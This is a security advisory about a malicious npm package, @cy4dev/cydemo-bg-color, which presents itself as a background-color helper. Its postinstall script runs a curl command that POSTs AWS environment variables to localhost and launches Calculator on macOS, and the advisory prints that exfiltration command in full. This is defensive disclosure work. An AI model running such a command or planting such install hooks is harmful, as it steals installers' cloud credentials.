MAL-2026-12504 Malicious code in @cy4dev/cydemo-bg-color (npm)

@cy4dev/[email protected] ships a postinstall lifecycle script (src/postinstall.js) that runs at npm install time and invokes node:child_process.exec with two shell commands. The first, curl -X POST -d \env | grep AWS` http://localhost:8000, enumerates AWS_*-prefixed environment variables from the installer's shell and POSTs them as the request body — a functioning credential-exfiltration primitive against the installer's environment. The second, open /System/Applications/Calculator.app`, launches a GUI application on macOS, demonstrating arbitrary host-shell execution triggered solely by installing the package. The package advertises itself as a DOM background-color helper; the postinstall behavior has no build or runtime purpose consistent with that description. The exfiltration destination in this build is loopback (localhost:8000), so the AWS credentials do not leave the host in this specific version, but the credential-scrape and arbitrary-exec code paths execute unconditionally on every install.